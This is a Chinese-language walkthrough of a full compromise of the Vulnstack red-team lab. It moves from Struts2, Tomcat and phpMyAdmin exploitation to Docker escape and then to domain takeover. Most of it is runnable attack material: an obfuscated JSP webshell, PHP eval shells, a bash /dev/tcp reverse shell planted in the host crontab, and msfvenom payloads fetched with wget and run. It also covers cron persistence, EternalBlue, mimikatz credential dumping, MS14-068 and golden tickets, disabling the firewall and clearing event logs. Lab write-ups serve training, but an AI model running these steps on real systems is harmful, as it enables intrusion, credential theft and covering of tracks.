
靶场下载链接:
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ VMnet1 仅主机模式 网段:192.168.183.0
VMnet8 NAT模式 网段:192.168.157.0

虚拟网络配置

靶机网卡配置
账号密码:
web:ubuntu\ubuntu
win7:douser\Dotest123
DC:administrator\Test2008 配置好后,登录web启动靶场环境
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

启动靶场环境
可以更改一下win7的睡眠时间,要不然容易被挂起

睡眠
至此靶场搭建完成,可以拍摄快照,便于后期恢复

拓扑图
扫描跟kali处在同一网段的设备,找出目标IP
netdiscover -r 192.168.157.129/24

目标探测
扫描目标端口
nmap -p- -n -O -A -Pn -v -sV 192.168.157.128

端口扫描
3个端口上有web服务,分别对应三个漏洞环境 :2001——Struts2、2002——Tomcat、2003——phpmyadmin
01.Struts2 GetShell
测试功能后,发现后缀为 .action(.action和 .do一般都为Java程序),猜测可能存在Struts2漏洞

2001端口
通过 Struts2 漏洞扫描工具,发现存在 s2-045 和 s2-046 两个漏洞
工具链接:
https://github.com/abc123info/Struts2VulsScanTools

Struts2漏洞扫描
上传蚁剑jsp一句话(也可以使用工具自带小马)
<%
// 获取请求参数
String H6Pv4 = request.getParameter("zxx");
if (H6Pv4 != null) {
// 自定义类加载器
class E9OXyWMn extends ClassLoader {
E9OXyWMn(ClassLoader parent) {
super(parent);
}
// 自定义类定义方法
public Class H6Pv4(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
// 字节码数组
byte[] bytes = null;
try {
// 初始化的异或解密数组
int[] aa = new int[]{
99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
117, 115, 127, 116, 117, 98
};
// 解密字符串
StringBuilder ccstrBuilder = new StringBuilder();
for (int i = 0; i < aa.length; i++) {
aa[i] ^= 16; // 异或解密
ccstrBuilder.append((char) aa[i]);
}
String ccstr = ccstrBuilder.toString();
// 加载解密后的类
Class APh7z = Class.forName(ccstr);
// 调用解码方法
String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);
} catch (Exception e) {
// 如果解密失败,尝试使用 Base64 解码
bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
}
// 使用自定义类加载器加载字节码
Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);
// 创建类的实例并调用 equals 方法
Object o = aClass.newInstance();
o.equals(pageContext);
}
%>

上传木马
蚁剑连接

连接成功
02.Tomcat GetShell
访问2002端口,发现Tomcat服务,并且版本为8.5.19

2002端口
搜索该版本漏洞exp,查看exp脚本发现漏洞编号为 CVE-2017-12617 ,该漏洞可以通过PUT方法和 / 绕过上传jsp文件,导致任意代码执行。
#搜索漏洞
searchsploit tomcat 8.5.19
#进入exploitdb目录
exploitdb
#复制exp到桌面
cp exploits/jsp/webapps/42966.py /root/桌面/
#切换到桌面目录
cd /root/桌面
#上传文件
python 42966.py -u http://192.168.157.128:2002 -p pwn

漏洞搜索

复制exp
使用exp上传成功后可直接执行代码,也可以手工复现

执行代码
手工复现
抓包,修改请求方式为 PUT ,然后在上传文件名结尾加 / 绕过上传限制,继续使用上面的jsp一句话

上传jsp代码

连接测试
03.phpmyadmin GetShell
访问2003端口,发现为 phpmyadmin 控制台,并且无密码

2003端口
phpmyadmin GetShell需要知道网站的绝对路径,通过目录扫描虽然扫出来了 phpinfo.php 文件,但是无任何信息

phpinfo.php
可以通过查看 log 文件的路径来猜测网站的绝对路径,通过全局日志的路径猜测网站绝对路径为 /var/www/html/
SHOW VARIABLES LIKE "%log%"

查询 log 文件
在首页可以看到phpmyadmin的版本为4.8.1,使用Apache搭建的服务器
#使用Apache搭建时网站默认路径:
/var/www/html
#使用Nginx搭建时网站默认路径:
/usr/share/nginx/html
/var/www/html

版本信息
搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)
searchsploit phpmyadmin 4.8.1
exploitdb
cp exploits/php/webapps/44924.txt /root/桌面

漏洞信息

payload
使用payload读取passwd文件
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

passwd文件
查询phpinfo信息
select "<?php phpinfo();?>"

查询phpinfo信息
获取session值为:3ad73ba09882ea3e655ea4f2648526db

session
获取session值后拼接路径读取session文件,就可以查看phpinfo信息
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3ad73ba09882ea3e655ea4f2648526db
#session文件默认保存目录
Linux:
/tmp
/var/lib/php/session
Windows:
C:WINDOWS/Temp

phpinfo
根据phpinfo信息得知网站绝对路径为 /var/www/html ,(这里因为权限不够,无法通过慢查询日志GetShell或者全局日志GetShell)

禁止修改
利用 file_put_contents 函数 GetShell,先把代码写入session中(要是session不刷新,可以先把原来的session删除后再执行)
#默认写入网站根目录
select '<?php file_put_contents("zxx.php","<?php @eval(\$_POST[zxx]);?>");?>';
#也可以写入指定目录
select '<?php file_put_contents("/var/www/html/zxx.php","<?php @eval(\$_POST[zxx]);?>");?>';

写入文件
拿到新的session后拼接执行代码
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_9cdc1650278cbeffc65050db5d20e656

执行
蚁剑连接

连接成功
再拿到webshell之后,查看系统信息时发现系统名有点类似Docker容器

系统信息
经过验证,确实是在Docker容器中
#查看根目录下全部文件,如果存在.dockerenv文件,证明在docker中
ls -al /
#查看系统进程cgroup信息,存在docker字段,证明在docker中
cat /proc/1/cgroup

Docker验证
privileged特权模式启动容器逃逸,经检查只有Tomcat下的webshell是以特权模式启动的
#查看是否为特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff
cat /proc/self/status |grep Cap

特权模式启动
挂载成功后,反弹shell到kali实现docker逃逸(如果不是root权限,要先提权再逃逸)
#查看磁盘分区情况
fdisk -l
#新建目录
mkdir /zxx
#挂载宿主机磁盘到新建目录中
mount /dev/sda1 /zxx
#在kali上开启监听
nc -lvvp 54321
#切换到新建目录
cd /zxx
#新建.sh文件
touch /zxx/zxx.sh
#写入反弹shell命令到sh文件中
echo "bash -i >& /dev/tcp/192.168.157.129/54321 0>&1" >/zxx/zxx.sh
#把sh文件写入计划任务
echo "* * * * * root bash /zxx.sh" >> /zxx/etc/crontab

反弹shell
反弹msf的shell到宿主机
#查询系统位数
uname -m
#生成对应位数payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.157.129 lport=4444 -f elf > /root/桌面/zxx.elf
#打开msfconsole
msfconsole
#启用监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.157.129
set lport 4444
run
#在桌面上开启http服务
python3 -m http.server
#上传payload后,加权执行
wget http://192.168.157.129:8000/zxx.elf
chmod +x zxx.elf
./zxx.elf &

生成payload

开启http服务

下载执行payload

反弹成功
msf反弹成功后,先做个计划任务维权
#添加特殊权限,不能删除更改文件
chattr +i zxx.elf
#创建计划任务每分钟运行一次
echo '*/1 * * * * root /root/zxx.elf' >> /etc/crontab

权限维持
查看网卡信息时发现存在其他网卡

网卡信息
上传fscan对c段进行扫描
#上传fsca
upload /root/桌面/fscan
#浸入shell
shell
#加权执行
chmod +x fscan
./fscan -h 192.168.183.128/24

扫描结果
通过扫描发现两台存活主机,并且都存在ms17-010漏洞,使用frp搭建隧道,kali做服务端,web做客户端
#frp下载地址
https://github.com/fatedier/frp/releases

服务端配置

客户端配置
kali启动服务端,然后把客户端文件上传至web,加权后启动客户端
#kali服务端
chmod +x frps
./frps -c ./frps.toml
#meterpreter中上传客户端
upload /root/桌面/Tools/frp/frp_0.52.3_linux_amd64/frpc
upload /root/桌面/Tools/frp/frp_0.52.3_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &

上传frp

启动服务端

启动客户端
添加socket代理(代理端口要跟 remotePort 转发端口也就是通信端口一致),然后通过proxychains代理启动msfconsole,然后使用ms17-010模块批量攻击
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445
run
session

proxychains配置
攻击完成后查看session,发现只拿下了win7

session
通过查看系统信息发现,win7在DEMO域环境内,加载kiwi抓取域成员账号密码
sysinfo
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

系统信息

抓取密码
但抓到的只是普通用户的密码,需要借助 ms14-068 伪造域管理员票据(如果shell无法加载,开启3389端口后连接远程桌面操作)
#开启3389端口
use post/windows/manage/enable_rdp
set session 1
run
#判断是否存在该漏洞
systeminfo |find “3011780”
#MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

开启3389端口

生成票据
#清除票据
kerberos::purge
#注入票据
kerberos::ptc "TGT_douser@DEMO.COM.ccache"

注入票据
注入完成后即可访问到域控目录
#查看域内成员
net view
#访问域管理员目录
dir \\WIN-ENS2VR5TR3N\c$\" class=

访问成功
生成正向 payload 先上传到 win7 再上传到dc
#生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.157.132 lport=6666 -f exe > /root/桌面/zxx.exe
#上传到win7
upload /root/桌面/zxx.exe c:\\Users\\douser\\Desktop
#复制文件到域控
copy zxx.exe \\WIN-ENS2VR5TR3N\c$

生成payload

上传到win7

复制到域控
上传完成后创建计划任务执行payload
#创建计划任务
schtasks /create /S WIN-ENS2VR5TR3N /TN "zxx" /TR C:\zxx.exe /SC MINUTE /MO 1 /ru system /f /RP
#启用监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 6666
run
#关闭域控防火墙
echo netsh advfirewall set allprofiles state off > zxx.bat
copy zxx.bat \\WIN-ENS2VR5TR3N\c$
schtasks /create /S WIN-ENS2VR5TR3N /TN "zxx2" /TR C:\zxx.bat /SC MINUTE /MO 1 /ru system /f /RP

启用监听

创建计划任务
防火墙关闭后即可连接成功(要是长时间没反应,可以重新运行监听)

连接成功
制作黄金票据(也可以直接抓密码后开3389端口,毕竟之前已经伪造过域管理员票据)
load incognito 加载模块
list_tokens -u 列出所有token
impersonate_token "DEMO\Administrator" 模拟token
load kiwi
kiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt" 获取用户hash
golden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zxx -s S-1-5-21-979886063-1111900045-1414766810 -t /root/桌面/zxx.ticket
kerberos_ticket_use /root/桌面/zxx.ticket 使用票据
#列出所有票据 需要system权限
creds_all

生成票据

抓取密码
清理日志
#查看事件日志
run event_manager -i
#清除所有日志
run event_manager -c

清理日志
1、phpmyadmin本地文件包含GetShell其他两种方法:
①在数据库新建一张表,在字段名中写入一句话木马(这里MySQL和phpmyadmin在两个不同的容器中,属于站库分离,无法GetShell),然后包含新建的表(需要知道数据库保存的路径)
②直接把一句话木马写入session中,然后包含session文件(经过多次尝试均无法成功)
#查询数据库保存路径
show variables like '%datadir%';
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm
#写入一句话到session
select "一句话木马"
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../tmp/sess_ 2、这靶场要一次打完,隔段时间再打容易出现各种问题,在横向移动的时候不搭建frp隧道,直接添加路由后使用 msf 的 socks 模块,可能会在打 win7 的时候 socks 代理超时,也有可能搭建完隧道拿下 win7 后无法加载 shell 模块,也可能两个问题同时出现。
在这里反复重置过多次靶机,最后选择开 3389 端口在 win7 远程桌面上伪造票据。